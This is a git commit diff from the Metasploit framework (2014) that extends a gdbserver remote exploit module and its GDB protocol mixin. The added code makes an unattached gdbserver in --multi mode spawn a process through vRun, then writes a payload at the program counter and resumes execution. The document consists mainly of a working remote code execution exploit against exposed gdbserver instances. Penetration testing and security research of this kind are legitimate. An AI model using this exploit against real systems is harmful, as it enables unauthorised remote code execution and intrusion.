Implement running exe in multi.

bug/bundler_fix
Joe Vennix 2014-09-03 15:56:21 -05:00
parent 268d42cf07
commit 4293500a5e
No known key found for this signature in database
GPG Key ID: 127B05FB3E85A2B0
2 changed files with 49 additions and 8 deletions

View File

@ -15,6 +15,12 @@ module Exploit::Remote::Gdb
include Msf::Exploit::Remote::Tcp
# thrown when an expected ACK packet is never received
class BadAckError < RuntimeError; end
# thrown when a response is incorrect
class BadResponseError < RuntimeError; end
# Default list of supported GDB features to send the to the target
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
@ -31,10 +37,10 @@ module Exploit::Remote::Gdb
end
# Reads an ACK packet from the wire
# @raise [RuntimeError] if a bad ACK is received
# @raise [BadAckError] if a bad ACK is received
def read_ack
unless sock.get_once == '+'
raise 'received bad ack'
raise BadAckError
end
vprint_status('Received ack...')
end
@ -53,9 +59,11 @@ module Exploit::Remote::Gdb
# @param opts [Hash] the options hash
# @option opts :decode [Boolean] rle decoding should be applied to the response
# @return [String] the response
# @raise [BadResponseError] if the expected response is missing
def read_response(opts={})
decode = opts.fetch(:decode, false)
res = sock.get_once
raise BadResponseError if res.nil?
res = decode_rle(res) if decode
vprint_status('Result: '+res)
send_ack
@ -95,9 +103,12 @@ module Exploit::Remote::Gdb
# Steps execution and finds $PC pointer and architecture
# @return [Hash] with :arch and :pc keys containing architecture and PC pointer
# @raise [BadResponseError] if necessary data is missing
def process_info
data = step
pc_data = data.split(';')[2].split(':')
pc_data = data.split(';')[2]
raise BadResponseError if pc_data.nil?
pc_data = pc_data.split(':')
my_arch = PC_REGISTERS[pc_data[0]]
pc = pc_data[1]
@ -107,7 +118,8 @@ module Exploit::Remote::Gdb
{
arch: my_arch,
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), '')
pc: Rex::Text.to_hex(Rex::Arch.pack_addr(my_arch, Integer(pc, 16)), ''),
pc_raw: Integer(pc, 16)
}
end
@ -141,6 +153,11 @@ module Exploit::Remote::Gdb
read_response(decode: true)
end
def run(filename)
send_cmd "vRun;#{Rex::Text.to_hex(filename, '')}"
read_response
end
# Performs a handshake packet exchange
# @param features [String] the list of supported features to tell the remote
# host that the client supports (defaults to +DEFAULT_GDB_FEATURES+)

View File

@ -27,6 +27,14 @@ class Metasploit3 < Msf::Exploit::Remote
'PrependFork' => true
}
))
register_options([
OptString.new('EXE_FILE', [
false,
"The exe to spawn when gdbserver is not attached to a process.",
'/bin/true'
])
], self.class)
end
def exploit
@ -35,13 +43,29 @@ class Metasploit3 < Msf::Exploit::Remote
print_status "Performing handshake with gdbserver..."
handshake
print_status "Stepping program to find PC..."
gdb_pc, gdb_arch = process_info.values_at :pc, :arch
begin
print_status "Stepping program to find PC..."
gdb_data = process_info
rescue BadAckError, BadResponseError
# gdbserver is running with the --multi flag and is not currently
# attached to any process. let's attach to /bin/true or something.
print_status "No process loaded, attempting to load /bin/true..."
run(datastore['EXE_FILE'])
gdb_data = process_info
end
p = regenerate_payload(nil, gdb_arch, nil)
gdb_pc, gdb_arch = gdb_data.values_at(:pc, :arch)
unless payload.arch.include? gdb_arch
fail_with(
Msf::Exploit::Failure::BadConfig,
"The payload architecture is incorrect: "+
"the payload is #{payload.arch.first}, but #{gdb_arch} was detected from gdb."
)
end
print_status "Writing payload at #{gdb_pc}..."
write(p.encoded, gdb_pc)
write(payload.encoded, gdb_pc)
print_status "Executing the payload..."
continue